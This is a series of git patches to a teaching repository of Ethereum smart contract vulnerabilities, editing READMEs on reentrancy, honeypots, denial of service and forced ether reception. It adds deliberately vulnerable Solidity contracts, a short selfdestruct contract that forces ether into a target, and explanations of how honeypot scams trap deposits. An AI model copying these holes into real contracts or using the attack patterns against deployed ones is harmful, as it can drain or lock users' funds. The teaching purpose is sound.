a/wrong_interface/README.md +++ b/incorrect_interface/README.md @@ -1,17 +1,12 @@ -# Wrong interface -A contract interface defines functions with a different type signature than the implementation, causing two different method id's to be created. -As a result, when the interfact is called, the fallback method will be executed. +# Incorrect interface -## Attack Scenario +## Principle: +- Incorrect contract interface -- The interface for a contract defines `set(uint)` but the implementation defines `set(int)`. Anyone calling -`set` via the interface will execute the fallback function. +## Detail +The interface is incorrectly defined. `Alice.set(uint)` takes an `uint` in `Bob.sol` but `Alice.set(int)` a `int` in `Alice.sol`. The two interfaces will produce two differents method IDs. As a result, Bob will call the fallback function of Alice rather than of `set`. -## Mitigations - -Verify that type signatures are identical between inferfaces and implementations. - -## Example +## Running example First, get the bytecode and the abi of the contracts: ```̀bash $ solc --bin Alice.sol From a2b15da78aa74be864ecb3dcdef3f3d3c4c8069a Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Tue, 4 Sep 2018 12:07:00 +0200 Subject: [PATCH 28/73] Another round of readme updates --- bad_randomness/README.md | 8 +++--- denial_of_service/README.md | 4 +++ honeypots/README.md | 42 +++++++++++++++++++++++++------ incorrect_interface/README.md | 17 +++++++++---- integer_overflow/README.md | 9 ++++--- missing_constructor/README.md | 3 +-- race_condition/README.md | 5 ++-- reentrancy/README.md | 4 +-- unchecked_external_call/README.md | 8 ++---- unprotected_function/README.md | 5 ++-- variable shadowing/README.md | 7 ++---- 11 files changed, 68 insertions(+), 44 deletions(-) diff --git a/bad_randomness/README.md b/bad_randomness/README.md index a6faa324..7a8ad84e 100644 --- a/bad_randomness/README.md +++ b/bad_randomness/README.md @@ -32,15 +32,13 @@ There are currently not any recommended mitigations for this issue. Do not build applications that require on-chain randomness. In the future, however, these approaches show promise -- Verifiable delay functions: functions which produce a pseudorandom number +- [Verifiable delay functions](https://eprint.iacr.org/2018/601.pdf): functions which produce a pseudorandom number and take a fixed amount of sequential time to evaluate -- Randao: A commit reveal scheme where users must stake wei to participate +- [Randao](https://github.com/randao/randao): A commit reveal scheme where users must stake wei to participate ## Examples ## Sources - https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract -- https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 -- Forthcoming VDF blog post. -- https://github.com/randao/randao \ No newline at end of file +- https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 \ No newline at end of file diff --git a/denial_of_service/README.md b/denial_of_service/README.md index b4245a70..9eab9e1e 100644 --- a/denial_of_service/README.md +++ b/denial_of_service/README.md @@ -16,6 +16,10 @@ all reimbursements fail. ## Examples +- Both [insecure](denial_of_service/auction.sol#L4) and [secure](denial_of_service/auction.sol#L26) versions of the auction contract mentioned above + +- Bulk refund functionality that is [suceptible to DoS](denial_of_service/list_dos.sol#L3), and a [secure](denial_of_service/list_dos.sol#L29) version + ## Mitigations - Favor pull over push for external calls diff --git a/honeypots/README.md b/honeypots/README.md index 661941cb..928f0163 100644 --- a/honeypots/README.md +++ b/honeypots/README.md @@ -1,12 +1,38 @@ # Honeypot Collection -This repository contains code refernces for the honeypots outlined [in this blog post](www.linktoblog.com) +The Ethereum community has recently stumbled on a wide slew of honeypot smart contracts operating on the mainnet blockchain -- something that we have been investigating for quite some time. They’re designed to entice security researchers and developers to deposit Ethereum into the contract to obtain a chance to exploit ‘easy vulnerabilities’ in Solidity. However, once payment is deposited, the contracts will deploy subtle traps and quirks to lock out the user from successfully claiming the “prize.” -## Examples -- King of the Hill -- Multiplicator -- VarLoop -- OpenAddressLottery -- Private Bank -- GiftBox +The traps vary in sophistication. Our blockchain security research has turned up six fundamental archetypes that construct most of these honeypots. Some of these contracts are weeks old. A few were released before September, 2017. Many seem to be moderately successful -- trapping around 0.1 ether and containing approximately 5 transactions on average. Yet for every successful trap, a large minority of contracts had no interaction at all. These ‘failed honeypots’ most likely served the original developers as a testing environment. The existence of these contracts must be taken into account by academic researchers quantifying the effectiveness of tools and analysis methods for the Ethereum blockchain, given the potential to skew research results. +Versions of the most recent compilers will emit warnings of most of these traps during compilation. However, some of the contracts rely on logic gaps in the solc compiler and the Solidity language itself. + + +## King of the Hill + +At first glance this contract appears to be your average King of the Hill ponzi scheme. Participants contribute ether to the contract via the `Stake()` function that keeps track of the latest `owner` and ether deposit that allowed them to become to the current owner. The `withdraw()` function employs an onlyOwner modifier, seemingly allowing only the last person recently throned the ability to transfer all funds out of the contract. Stumbling upon this contract on etherscan and seeing an existing balance, one might think that there is a chance to gain some easy ether by taking advantage of a quick `Stake()` claim and subsequent `withdraw()`. + +The heart of the honeypot lies in the fact that the owner variable qualifying the onlyOwner modifier is not the one being reassigned in the Stake function. This is a particularly nasty bug that is made even more insidious by the fact that the solc compiler will throw no error or warning indicating that the owner address is in fact being [shadowed](variable%20shadowing/) by the inheriting CEOThrone contract. By re-declaring the variable in the child’s scope, the contract ensures that owner in Ownable is actually never reassigned at all and allows the original creator to dump all funds at their leisure. + +## Multiplicator + +Here is another ponzi-esque contract that promises to multiply your ‘investment’ by returning to you your initial deposit in addition to the current total balance of ether in the contract. The only condition is that the amount you send into the `multiplicate()` function must be greater than the current balance. + +The contract takes advantage of the fact that the global variable balance on the contract will always contain any ether sent to payable functions attached to msg.value. As a result, the condition `if(msg.value>=this.balance)` will always fail and the transfer will never occur. The `multiplicate()` function itself affirms the erroneous assumption by setting the transfer parameter as `this.balance+msg.value` (instead of only this.balance) + +## VarLoop + +The contract appears vulnerable to a constructor mismatch, allowing anyone to call the public method `Test1()` and double any ether they send to the function. The calculation involves a while loop which is strange, but the bounds conditions seem correct enough. + +One of the features of Solidity is that it seeks to mimic JavaScript in its language syntax and style. This is ostensibly to ease onboarding of developers with something familiar. In this case, the contract takes advantage of different semantics between Solidity and JavaScript to create type confusion. The var keyword allows the compiler to infer the type of the assignment when declaring a variable. In this instance, `i1` and `i2` are resolved to fact be `uint8`. As such, their maximum value will be 255 before overflow -- causing the loop condition `if(i1 Date: Tue, 4 Sep 2018 12:21:47 +0200 Subject: [PATCH 29/73] Fixed links --- denial_of_service/README.md | 4 ++-- honeypots/README.md | 8 ++++---- incorrect_interface/README.md | 2 +- integer_overflow/README.md | 2 +- missing_constructor/README.md | 4 ++-- race_condition/README.md | 2 +- unchecked_external_call/README.md | 4 ++++ unprotected_function/README.md | 3 ++- variable shadowing/README.md | 2 +- 9 files changed, 18 insertions(+), 13 deletions(-) diff --git a/denial_of_service/README.md b/denial_of_service/README.md index 9eab9e1e..86c4e62d 100644 --- a/denial_of_service/README.md +++ b/denial_of_service/README.md @@ -16,9 +16,9 @@ all reimbursements fail. ## Examples -- Both [insecure](denial_of_service/auction.sol#L4) and [secure](denial_of_service/auction.sol#L26) versions of the auction contract mentioned above +- Both [insecure](auction.sol#L4) and [secure](auction.sol#L26) versions of the auction contract mentioned above -- Bulk refund functionality that is [suceptible to DoS](denial_of_service/list_dos.sol#L3), and a [secure](denial_of_service/list_dos.sol#L29) version +- Bulk refund functionality that is [suceptible to DoS](list_dos.sol#L3), and a [secure](list_dos.sol#L29) version ## Mitigations diff --git a/honeypots/README.md b/honeypots/README.md index 928f0163..6b6abace 100644 --- a/honeypots/README.md +++ b/honeypots/README.md @@ -11,7 +11,7 @@ Versions of the most recent compilers will emit warnings of most of these traps At first glance this contract appears to be your average King of the Hill ponzi scheme. Participants contribute ether to the contract via the `Stake()` function that keeps track of the latest `owner` and ether deposit that allowed them to become to the current owner. The `withdraw()` function employs an onlyOwner modifier, seemingly allowing only the last person recently throned the ability to transfer all funds out of the contract. Stumbling upon this contract on etherscan and seeing an existing balance, one might think that there is a chance to gain some easy ether by taking advantage of a quick `Stake()` claim and subsequent `withdraw()`. -The heart of the honeypot lies in the fact that the owner variable qualifying the onlyOwner modifier is not the one being reassigned in the Stake function. This is a particularly nasty bug that is made even more insidious by the fact that the solc compiler will throw no error or warning indicating that the owner address is in fact being [shadowed](variable%20shadowing/) by the inheriting CEOThrone contract. By re-declaring the variable in the child’s scope, the contract ensures that owner in Ownable is actually never reassigned at all and allows the original creator to dump all funds at their leisure. +The heart of the honeypot lies in the fact that the owner variable qualifying the onlyOwner modifier is not the one being reassigned in the Stake function. This is a particularly nasty bug that is made even more insidious by the fact that the solc compiler will throw no error or warning indicating that the owner address is in fact being [shadowed](https://github.com/trailofbits/not-so-smart-contracts/tree/master/variable%20shadowing) by the inheriting CEOThrone contract. By re-declaring the variable in the child’s scope, the contract ensures that owner in Ownable is actually never reassigned at all and allows the original creator to dump all funds at their leisure. ## Multiplicator @@ -31,8 +31,8 @@ This is also a type of runtime bug that our symbolic execution tool, [Manticore] ## Private Bank -Someone familiar with smart contract security and some of the more technical vulnerabilities might recognize that this contract is susceptible to a [classic reentrancy attack](reentrancy/). It takes advantage of the low-level call in the function `CashOut()` by msg.sender.call.value(_am)()). Since the user balance is only decremented afterwards, the caller’s callback function can call back into the method, allowing an attacker to continuously call `CashOut()` beyond what their initial balance should allow for. The only main difference is the addition of a Log class that seems to keep track of transitions. +Someone familiar with smart contract security and some of the more technical vulnerabilities might recognize that this contract is susceptible to a [classic reentrancy attack](https://github.com/trailofbits/not-so-smart-contracts/tree/master/reentrancy). It takes advantage of the low-level call in the function `CashOut()` by `msg.sender.call.value(_am)())`. Since the user balance is only decremented afterwards, the caller’s callback function can call back into the method, allowing an attacker to continuously call `CashOut()` beyond what their initial balance should allow for. The only main difference is the addition of a Log class that seems to keep track of transitions. -This honeypot takes advantage of the caller’s assumptions, diverting attention away from the trap by seemingly including a reentrancy vulnerability. However, if you attempt to do so, you will find that your call to CashOut will fail every time. There doesn’t seem to be anything in the code that would indicate a gas usage timeout. The only thing extraneous is the logging call at TransferLog.AddMessage(msg.sender,msg.value,"Deposit"). The source of the Log contract appears benign. +This honeypot takes advantage of the caller’s assumptions, diverting attention away from the trap by seemingly including a reentrancy vulnerability. However, if you attempt to do so, you will find that your call to `CashOut` will fail every time. There doesn’t seem to be anything in the code that would indicate a gas usage timeout. The only thing extraneous is the logging call at `TransferLog.AddMessage(msg.sender,msg.value,"Deposit")`. The source of the Log contract appears benign. -A closer inspection of the constructor will show that TransferLog is initialized from a user-supplied address. As long as the contract code at that location contains similar function signatures, the content of AddMessage can be completely different. In fact we can find the code of the external Log contract here. Having only bytecode available, we can assume that it will trap execution in a computationally expensive loop for everyone else but the owner, causing the contract function to hit the gas limit. +A closer inspection of the constructor will show that `TransferLog` is initialized from a user-supplied address. As long as the contract code at that location contains similar function signatures, the content of `AddMessage` can be completely different. In fact we can find the code of the external Log contract here. Having only bytecode available, we can assume that it will trap execution in a computationally expensive loop for everyone else but the owner, causing the contract function to hit the gas limit. diff --git a/incorrect_interface/README.md b/incorrect_interface/README.md index 65dd5716..b86c74f2 100644 --- a/incorrect_interface/README.md +++ b/incorrect_interface/README.md @@ -12,7 +12,7 @@ Verify that type signatures are identical between inferfaces and implementations ## Example -We now walk through how to find this vulnerability in the [Alice](incorrect_interface/Alice.sol) and [Bob](incorrect_interface/Bob.sol) contracts in this repo. +We now walk through how to find this vulnerability in the [Alice](Alice.sol) and [Bob](Bob.sol) contracts in this repo. First, get the bytecode and the abi of the contracts: ```̀bash diff --git a/integer_overflow/README.md b/integer_overflow/README.md index d5650ebf..631acdee 100644 --- a/integer_overflow/README.md +++ b/integer_overflow/README.md @@ -17,7 +17,7 @@ the array and alter other variables in the contract. ## Examples -- In [integer_overflow_1](integer_overflow/interger_overflow_1.sol), we give both unsafe and safe version of +- In [integer_overflow_1](interger_overflow_1.sol), we give both unsafe and safe version of the `add` operation. - [A submission](https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte) to the Underhanded Solidity Coding Contest that explots the unsafe dynamic array bug outlined above diff --git a/missing_constructor/README.md b/missing_constructor/README.md index 64b8c5f4..39f5c6db 100644 --- a/missing_constructor/README.md +++ b/missing_constructor/README.md @@ -11,5 +11,5 @@ As a result anyone can change the state variables initialized in this function. - Use `constructor` instead of a named constructor ## Examples -- [Rubixi](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code) -- An [incorrectly named constructor](missing_constructor/Missing.sol) +- [Rubixi](Rubixi_source_code/Rubixi.sol) uses `DynamicPyramid` instead of `Rubixi` as a constructor +- An [incorrectly named constructor](Missing.sol) diff --git a/race_condition/README.md b/race_condition/README.md index 1246270a..8cc95048 100644 --- a/race_condition/README.md +++ b/race_condition/README.md @@ -20,4 +20,4 @@ second `approve`, Bob will be able to spend 150 of Alice's tokens. - Keep in mind that all transactions may be front-run ## Examples -- [Race condition](race_condition/RaceCondition.sol) outlined in the first bullet point above +- [Race condition](RaceCondition.sol) outlined in the first bullet point above diff --git a/unchecked_external_call/README.md b/unchecked_external_call/README.md index f2a4224c..53ded434 100644 --- a/unchecked_external_call/README.md +++ b/unchecked_external_call/README.md @@ -9,6 +9,10 @@ Certain Solidity operations known as "external calls", require the developer to - The consequences of this external call failing will be contract specific. - In the case of the King of the Ether contract, this resulted in accidental loss of Ether for some contract users, due to refunds not being sent. +## Mitigation + +Manually perform validation when making external calls + ## Example - [King of the Ether](https://www.kingoftheether.com/postmortem.html) (line numbers: diff --git a/unprotected_function/README.md b/unprotected_function/README.md index fd340c56..be75b45a 100644 --- a/unprotected_function/README.md +++ b/unprotected_function/README.md @@ -11,5 +11,6 @@ allows anyone to become the contract owner. Always specify a modifier for functions. ## Examples -[Parity Wallet](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7). For code, see [initWallet](WalletLibrary_source_code/WalletLibrary.sol) +- An `onlyOwner` modifier is [defined but not used](Unprotected.sol), allowing anyone to become the `owner` +- [Parity Wallet](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7). For code, see [initWallet](WalletLibrary_source_code/WalletLibrary.sol) diff --git a/variable shadowing/README.md b/variable shadowing/README.md index ee3ce721..c9c11b05 100644 --- a/variable shadowing/README.md +++ b/variable shadowing/README.md @@ -3,7 +3,7 @@ Variable shadowing occurs when a variable declared within a certain scope (decis has the same name as a variable declared in an outer scope. ## Attack -This depends a lot on the code of the contract itself. For instance, in the [this example](variable%20shadowing/inherited_state.sol), variable shadowing prevents the owner of contract `C` from performing self destruct +This depends a lot on the code of the contract itself. For instance, in the [this example](inherited_state.sol), variable shadowing prevents the owner of contract `C` from performing self destruct ## Mitigation The solidity compiler has [some checks](https://github.com/ethereum/solidity/issues/973) to emit warnings when From 1afbaea15a33e33609035334c5f613c9fe749c09 Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Tue, 4 Sep 2018 12:41:02 +0200 Subject: [PATCH 30/73] fixed top level readme, added references --- README.md | 19 +++++++++++-------- denial_of_service/README.md | 7 ++++++- unchecked_external_call/README.md | 3 ++- 3 files changed, 19 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 3c70dae2..cc23ad18 100644 --- a/README.md +++ b/README.md @@ -1,17 +1,20 @@ # (Not So) Smart Contracts This repository contains examples of common Ethereum smart contract vulnerabilities, including code from real smart contracts. +It also includes a repository and analysis of several [honeypots](honeypots/) ## Vulnerabilities -- Bad randomness -- Denial of Service -- Integer Overflow -- Missing Constructor -- Reentrancy -- Unchecked External Call -- Unprotected Function -- Incorrect Interface +- [Bad randomness](bad_randomness/): Contract attempts to get on-chain randomness, which can be manipulated by users +- [Denial of Service](denial_of_service/): Attacker stalls contract execution by failing in strategic way +- [Incorrect Interface](incorrect_interface/): Implementation uses different function signatures than interface +- [Integer Overflow](integer_overflow/): Arithmetic in Solidity (or EVM) is not safe by default +- [Missing Constructor](missing_constructor/): Anyone can become owner of contract due to missing constructor +- [Race Condition](race_condition/): Transactions can be frontrun on the blockchain +- [Reentrancy](reentrancy/): Calling external contracts gives them control over execution +- [Unchecked External Call](unchecked_external_call/): Some Solidity operations silently fail +- [Unprotected Function](unprotected_function/): Failure to use function modifier allows attacker to manipulate contract +- [Variable Shadowing](variable_shadowing/): Local variable name is identical to one in outer scope ## Credits diff --git a/denial_of_service/README.md b/denial_of_service/README.md index 86c4e62d..a8a6eed0 100644 --- a/denial_of_service/README.md +++ b/denial_of_service/README.md @@ -25,4 +25,9 @@ all reimbursements fail. - Favor pull over push for external calls - If iterating over a dynamically sized data structure, be able to handle the case where the function takes multiple blocks to execute. One strategy for this is storing iterator in a private variable and -using `while` loop that exists when gas drops below certain threshold. \ No newline at end of file +using `while` loop that exists when gas drops below certain threshold. + +## References + +- https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/ +- https://github.com/ConsenSys/smart-contract-best-practices#dos-with-unexpected-revert \ No newline at end of file diff --git a/unchecked_external_call/README.md b/unchecked_external_call/README.md index 53ded434..c69f2b24 100644 --- a/unchecked_external_call/README.md +++ b/unchecked_external_call/README.md @@ -11,7 +11,8 @@ Certain Solidity operations known as "external calls", require the developer to ## Mitigation -Manually perform validation when making external calls +- Manually perform validation when making external calls +- Use `address.transfer()` ## Example From 939b0abf565dbff53605e1c8464089a8249ee966 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 28 Aug 2018 22:28:03 -0400 Subject: [PATCH 31/73] Fix syntax error so solc compiles... albeit with numerous warnings. Add solc pragma --- missing_constructor/Rubixi_source_code/Rubixi.sol | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/missing_constructor/Rubixi_source_code/Rubixi.sol b/missing_constructor/Rubixi_source_code/Rubixi.sol index e4fad753..a83370d7 100644 --- a/missing_constructor/Rubixi_source_code/Rubixi.sol +++ b/missing_constructor/Rubixi_source_code/Rubixi.sol @@ -1,4 +1,5 @@ // 0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code +pragma solidity ^0.4.15; contract Rubixi { @@ -17,7 +18,7 @@ contract Rubixi { } modifier onlyowner { - if (msg.sender == creator) _ + if (msg.sender == creator) _; } struct Participant { @@ -47,7 +48,7 @@ contract Rubixi { addPayout(_fee); } - //Function called for valid tx to the contract + //Function called for valid tx to the contract function addPayout(uint _fee) private { //Adds new address to participant array participants.push(Participant(msg.sender, (msg.value * pyramidMultiplier) / 100)); From 7928b859105693d51a725b691c57d9beedb18cc8 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 28 Aug 2018 22:18:57 -0400 Subject: [PATCH 32/73] Fix syntax error so solc compiles... albeit with numerous warnings. Add a solidity pragma. --- .../KotET_source_code/KingOfTheEtherThrone.sol | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol b/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol index e666e949..4b91e1ce 100644 --- a/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol +++ b/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol @@ -13,6 +13,7 @@ // TODO - add a random reset? // TODO - add bitcoin bridge so agents can pay in bitcoin? // TODO - maybe allow different return payment address? +pragma solidity ^0.4.19; contract KingOfTheEtherThrone { @@ -33,7 +34,7 @@ contract KingOfTheEtherThrone { address wizardAddress; // Used to ensure only the wizard can do some things. - modifier onlywizard { if (msg.sender == wizardAddress) _ } + modifier onlywizard { if (msg.sender == wizardAddress) _; } // How much must the first monarch pay? uint constant startingClaimPrice = 100 finney; @@ -113,7 +114,7 @@ contract KingOfTheEtherThrone { // payments accumulate to avoid wasting gas sending small fees. uint wizardCommission = (valuePaid * wizardCommissionFractionNum) / wizardCommissionFractionDen; - + uint compensation = valuePaid - wizardCommission; if (currentMonarch.etherAddress != wizardAddress) { From ae26f592bf715c3761175e0f9c22e3981841f008 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 28 Aug 2018 22:20:57 -0400 Subject: [PATCH 33/73] Small spelling correction in file name... However I am told that in the 60's there was a Fortan compiler used developed Brooklyn NY, that accepted INTERGER any place INTEGER was expected. This was touted as an early innovation in user-friendliness. --- .../{interger_overflow_1.sol => integer_overflow_1.sol} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename integer_overflow/{interger_overflow_1.sol => integer_overflow_1.sol} (100%) diff --git a/integer_overflow/interger_overflow_1.sol b/integer_overflow/integer_overflow_1.sol similarity index 100% rename from integer_overflow/interger_overflow_1.sol rename to integer_overflow/integer_overflow_1.sol From a9aaec1a7260c9af7381411bafbc5a54b8c6af2b Mon Sep 17 00:00:00 2001 From: ggrieco-tob Date: Tue, 4 Sep 2018 10:23:20 +0200 Subject: [PATCH 34/73] added forced ether reception example --- forced_ether_reception/README.md | 25 +++++ forced_ether_reception/coin.sol | 183 +++++++++++++++++++++++++++++++ 2 files changed, 208 insertions(+) create mode 100644 forced_ether_reception/README.md create mode 100644 forced_ether_reception/coin.sol diff --git a/forced_ether_reception/README.md b/forced_ether_reception/README.md new file mode 100644 index 00000000..17e3a3af --- /dev/null +++ b/forced_ether_reception/README.md @@ -0,0 +1,25 @@ +# Contracts can be forced to receive ether + +## Principle +- In certain circunstances, contracts can be forced to receive ether without triggering any code. This should be considered by the contract developers +in order to avoid breaking important invariants in their code. + +## Attack + +An attacker can use a specially crafted contract to forceful send ether using `suicide` / `selfdestruct`: + +```solidity +contract Sender { + function receive_and_suicide(address target) payable { + suicide(target); + } +} +``` + +The effects of this attack depend a lot on the code of the target contract. For instance, in the coin.sol example, +it stops the owner to perform the migration of the contract. + +## Mitigation + +There is no way to block the reception of ether. The only mitigation is to avoid assuming how the balance of the contract +increases and implement checks to handle this type of edge cases. diff --git a/forced_ether_reception/coin.sol b/forced_ether_reception/coin.sol new file mode 100644 index 00000000..a165c4c7 --- /dev/null +++ b/forced_ether_reception/coin.sol @@ -0,0 +1,183 @@ +// taken from https://www.ethereum.org/token#the-coin (4/9/2018) + +pragma solidity ^0.4.16; + +contract owned { + address public owner; + + function owned() public { + owner = msg.sender; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function transferOwnership(address newOwner) onlyOwner public { + owner = newOwner; + } +} + +interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } + +contract TokenERC20 { + // Public variables of the token + string public name; + string public symbol; + uint8 public decimals = 18; + // 18 decimals is the strongly suggested default, avoid changing it + uint256 public totalSupply; + + // This creates an array with all balances + mapping (address => uint256) public balanceOf; + mapping (address => mapping (address => uint256)) public allowance; + + // This generates a public event on the blockchain that will notify clients + event Transfer(address indexed from, address indexed to, uint256 value); + + // This generates a public event on the blockchain that will notify clients + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + /** + * Constrctor function + * + * Initializes contract with initial supply tokens to the creator of the contract + */ + function TokenERC20( + string tokenName, + string tokenSymbol + ) public { + name = tokenName; // Set the name for display purposes + symbol = tokenSymbol; // Set the symbol for display purposes + } + + /** + * Internal transfer, only can be called by this contract + */ + function _transfer(address _from, address _to, uint _value) internal { + // Prevent transfer to 0x0 address. + require(_to != 0x0); + // Check if the sender has enough + require(balanceOf[_from] >= _value); + // Check for overflows + require(balanceOf[_to] + _value > balanceOf[_to]); + // Save this for an assertion in the future + uint previousBalances = balanceOf[_from] + balanceOf[_to]; + // Subtract from the sender + balanceOf[_from] -= _value; + // Add the same to the recipient + balanceOf[_to] += _value; + emit Transfer(_from, _to, _value); + // Asserts are used to use static analysis to find bugs in your code. They should never fail + assert(balanceOf[_from] + balanceOf[_to] == previousBalances); + } + + /** + * Transfer tokens + * + * Send `_value` tokens to `_to` from your account + * + * @param _to The address of the recipient + * @param _value the amount to send + */ + function transfer(address _to, uint256 _value) public returns (bool success) { + _transfer(msg.sender, _to, _value); + return true; + } + + /** + * Transfer tokens from other address + * + * Send `_value` tokens to `_to` in behalf of `_from` + * + * @param _from The address of the sender + * @param _to The address of the recipient + * @param _value the amount to send + */ + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + require(_value <= allowance[_from][msg.sender]); // Check allowance + allowance[_from][msg.sender] -= _value; + _transfer(_from, _to, _value); + return true; + } + + /** + * Set allowance for other address + * + * Allows `_spender` to spend no more than `_value` tokens in your behalf + * + * @param _spender The address authorized to spend + * @param _value the max amount they can spend + */ + function approve(address _spender, uint256 _value) public + returns (bool success) { + allowance[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + /** + * Set allowance for other address and notify + * + * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it + * + * @param _spender The address authorized to spend + * @param _value the max amount they can spend + * @param _extraData some extra information to send to the approved contract + */ + function approveAndCall(address _spender, uint256 _value, bytes _extraData) + public + returns (bool success) { + tokenRecipient spender = tokenRecipient(_spender); + if (approve(_spender, _value)) { + spender.receiveApproval(msg.sender, _value, this, _extraData); + return true; + } + } + +} + +/******************************************/ +/* ADVANCED TOKEN STARTS HERE */ +/******************************************/ + +contract MyAdvancedToken is owned, TokenERC20 { + + mapping (address => bool) public frozenAccount; + + /* This generates a public event on the blockchain that will notify clients */ + event FrozenFunds(address target, bool frozen); + + /* Initializes contract with initial supply tokens to the creator of the contract */ + function MyAdvancedToken( + string tokenName, + string tokenSymbol + ) TokenERC20(tokenName, tokenSymbol) public {} + + /* Internal transfer, only can be called by this contract */ + function _transfer(address _from, address _to, uint _value) internal { + require (_to != 0x0); // Prevent transfer to 0x0 address. + require (balanceOf[_from] >= _value); // Check if the sender has enough + require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows + require(!frozenAccount[_from]); // Check if sender is frozen + require(!frozenAccount[_to]); // Check if recipient is frozen + balanceOf[_from] -= _value; // Subtract from the sender + balanceOf[_to] += _value; // Add the same to the recipient + emit Transfer(_from, _to, _value); + } + + /// @notice Buy tokens from contract by sending ether + function buy() payable public { + uint amount = msg.value; // calculates the amount + balanceOf[msg.sender] += amount; // updates the balance + totalSupply += amount; // updates the total supply + _transfer(address(0x0), msg.sender, amount); // makes the transfer + } + + /* Migration function */ + function migrate_and_destroy() onlyOwner { + assert(this.balance == totalSupply); // consistency check + suicide(owner); // transfer the ether to the owner and kill the contract + } +} From f619b7f94186e7d3e7436a0ed02e40e776039947 Mon Sep 17 00:00:00 2001 From: ggrieco-tob <31542053+ggrieco-tob@users.noreply.github.com> Date: Tue, 4 Sep 2018 19:35:49 +0200 Subject: [PATCH 35/73] Update README.md --- forced_ether_reception/README.md | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/forced_ether_reception/README.md b/forced_ether_reception/README.md index 17e3a3af..662df85f 100644 --- a/forced_ether_reception/README.md +++ b/forced_ether_reception/README.md @@ -1,10 +1,8 @@ # Contracts can be forced to receive ether -## Principle -- In certain circunstances, contracts can be forced to receive ether without triggering any code. This should be considered by the contract developers -in order to avoid breaking important invariants in their code. +In certain circunstances, contracts can be forced to receive ether without triggering any code. This should be considered by the contract developers in order to avoid breaking important invariants in their code. -## Attack +## Attack Scenario An attacker can use a specially crafted contract to forceful send ether using `suicide` / `selfdestruct`: @@ -16,10 +14,15 @@ contract Sender { } ``` -The effects of this attack depend a lot on the code of the target contract. For instance, in the coin.sol example, -it stops the owner to perform the migration of the contract. +## Example -## Mitigation +- The MyAdvancedToken contract in [coin.sol](coin.sol#L145) is vulnerable to this attack. It will stop the owner to perform the migration of the contract. + +## Mitigations There is no way to block the reception of ether. The only mitigation is to avoid assuming how the balance of the contract increases and implement checks to handle this type of edge cases. + +## References + +- https://solidity.readthedocs.io/en/develop/security-considerations.html#sending-and-receiving-ether From 3c93d0ea418b96276439a4f1fa90253cc8ffa098 Mon Sep 17 00:00:00 2001 From: Evan Sultanik Date: Wed, 5 Sep 2018 12:31:28 +0200 Subject: [PATCH 36/73] More educational clarification for the reentrancy example --- reentrancy/README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/reentrancy/README.md b/reentrancy/README.md index e2d94133..4f9c2661 100644 --- a/reentrancy/README.md +++ b/reentrancy/README.md @@ -1,6 +1,8 @@ # Re-entrancy -A state variable is changed after a contract uses `call.value`. The attacker uses the fallback function to -execute the vulnerable function again before the state variable is changed. +A state variable is changed after a contract uses `call.value`. The attacker uses +[a fallback function](reentrancy/ReentrancyExploit.sol#L26-L33)—which is automatically executed after +Ether is transferred from the targeted contract—to execute the vulnerable function again, *before* the +state variable is changed. ## Attack Scenarios - A contract that holds a map of account balances allows users to call a `withdraw` function. However, @@ -11,6 +13,7 @@ that they do not have. ## Mitigations - Avoid use of `call.value` +- Update all bookkeeping state variables _before_ transferring execution to an external contract. ## Examples - The [DAO](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) hack \ No newline at end of file From 0abd0e5664bb4aff76d5f98e1a5bbdfd98b9424f Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Wed, 5 Sep 2018 12:25:20 +0200 Subject: [PATCH 37/73] Added forced ether reception to README --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index cc23ad18..4842f922 100644 --- a/README.md +++ b/README.md @@ -9,6 +9,7 @@ It also includes a repository and analysis of several [honeypots](honeypots/) - [Denial of Service](denial_of_service/): Attacker stalls contract execution by failing in strategic way - [Incorrect Interface](incorrect_interface/): Implementation uses different function signatures than interface - [Integer Overflow](integer_overflow/): Arithmetic in Solidity (or EVM) is not safe by default +- [Forced Ether Reception](forced_ether_reception/): Contracts can be forced to receive Ether - [Missing Constructor](missing_constructor/): Anyone can become owner of contract due to missing constructor - [Race Condition](race_condition/): Transactions can be frontrun on the blockchain - [Reentrancy](reentrancy/): Calling external contracts gives them control over execution From d516ef210726a79b5dcb7016bb011ff11f32455e Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Wed, 5 Sep 2018 12:31:54 +0200 Subject: [PATCH 38/73] Added links, slight format changes --- honeypots/README.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 